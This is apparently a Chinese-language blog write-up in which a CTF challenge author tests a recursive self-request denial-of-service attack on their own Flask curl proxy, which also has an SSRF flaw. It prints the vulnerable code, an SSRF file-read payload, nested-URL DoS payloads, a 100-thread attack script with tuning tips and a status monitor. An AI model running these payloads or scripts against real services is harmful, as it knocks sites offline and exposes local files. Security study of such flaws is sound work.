A simple DoS experiment on proxy service

Before all

寒假EOF後好像都沒打什麼資安的東東,頂多出題ww
所以上來水個文章
前天回到社團CTF平台突然看到我前陣子出的 Birthday SSRF(在這邊再次感謝🦈贊助商麻麻(逃))
Anyway,重新回去看了一下github repo發現我的proxy 除了 ssrf的洞口,好像也能打出Denial of Service(簡稱DoS的攻擊)
太好玩了吧,來實驗吧XD(

Why?

What is DoS?

Denial of Service,簡單來說就是透過一台電腦的攻擊用光一個網站伺服器的記憶體,造成其他使用者無法連上該網站的阻斷式攻擊,常見的就是各種flood,不論是基於UDP啦,ICMP也好,SYN也好,anyway,只要能打的都算。
但我自己其實不太喜歡這類型的攻擊(感覺偏無腦而且自己也很耗能,而且我喜歡帥氣的直接打進別人機器(逃
但是咧,以前也有玩過RCE後可以打得fork bomb,基於應用層的cookie bomb等等的,也覺得這塊很有趣,所以自己後來做code review也都會去想這塊。

How2Vuln?

ok,先來看這支用flask搓出來的程式裡的其中一段:

1
2
3
4
@app.route('/@<path:url>')
def proxy(url):
res = subprocess.run(['curl', '-s', url], stdout=subprocess.PIPE)
return res.stdout

ㄟ都,顯然有SSRF不用問,而這題在社團練習平台就是簡單的去請求:@file:///flag就好。
但是今天如果我能利用一個url讓機器去做事n次呢?
想想看,SSRF的時候就是去curl本地的內容去抓東西,那我不就可以遞迴式地讓它去解析url嗎?
Example:

1
https://bd-dos-whale.onrender.com/@https://bd-dos-whale.onrender.com/@https://bd-dos-whale.onrender.com/@https://bd-dos-whale.onrender.com/@

這個,會讓機器在接收一個url後做三次請求,四次回應,怎麼看都知道越串越多會越耗記憶體。
OK,想法很簡單,但是到底能造成多大的傷害呢?

How2Prevent?

像我這次搓出來的靶機洞是在應用層,基本上就簡單的改改程式,去做一些過濾和警告就好。
for example:

1
2
3
4
5
@app.route('/@<path:url>')
def proxy(url):
url=url.split('@')[0]
res = subprocess.run(['curl', '-s', url], stdout=subprocess.PIPE)
return res.stdout

如果是在網路層和傳輸層(通常是單純連線時對封包做手腳的攻擊方式),防護方式其實就是上WAF(過濾IP),去做流量控管和一些適當的導向(把垃圾丟去垃圾桶),啊其他網路治理詳細的東西其實我沒研究太多(正如一開始所說,我對Dos/DDoS這類的攻擊興致不高。

Result

開100個threads進行一次DoS
run.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import threading
import time
from pwn import *
from Crypto.Util.number import *
from tqdm import *
import requests as req
import os
threads = []
def exploit(x):
os.system('curl -o log -s '+'https://bd-dos-whale.onrender.com/@'*700)

for i in range(100):
threads.append(threading.Thread(target = exploit, args = (i,)))
threads[i].start()

for i in range(100):
threads[i].join()

info("pwned finished.")

主攻擊腳本,就是無腦開run.py
(有點多此一舉但我承襲自 EOF FINAL 時A&D的攻擊模板就用下去了(
exp.py

1
2
3
import os
while True:
os.system('python3 run.py')

監測service status的腳本
check.py

1
2
3
4
5
6
7
8
9
import requests as req
a={'1':0, '200':0}
while True:
s=str(req.get('https://bd-dos-whale.onrender.com/').status_code)
if s=='200':
a[s]+=1
else:
a['1']+=1
print(a)

實驗咯~~
這是我開了十五分鐘後check.py回傳的結果:
image

可以說幾乎把服務給阻斷了。(1是不正常,200是正常)
image

ERR
中間我也做過其他測試,像是我發現打一打會停一陣子,我推測是我本地攻擊機在斷線的時候也丟了太多request導致需要清一下用量過度的地方(?,所以腳本後來有加上一些像是 --connect-timeout的參數,但似乎讓靶機更容易被連線,攻擊有點失效(?(其實以現實世界來講應該還是夠的,但駭客技術就是想追求卓越咩(X))。加上 -o log讓它把我不想要的訊息丟去log檔案裡面,主要是因為後來發現太多報錯要輸出導致它有點卡(?其實理論上不應該,但是加了之後真的順很多,之後研究!)
另外,Threading的部分我猜也是本來打一打停一陣子的原因,然後雖然說遞迴深度越深效果越好,但也要適當的構造url長度避免它太長,Cloudfare會擋。
p.s.我昨天其實開了一晚上的DoS,但不知道是什麼原因能連上的機率大概還有1/3(?!)
推測應該是render搭配的cloudfare很棒的清洗魔法在做功。
清洗速度賊快咧~
image

After all

不想開學,給沒有去看我靶機的觀眾看一下本來頁面的棒圖owo:
rahhhhh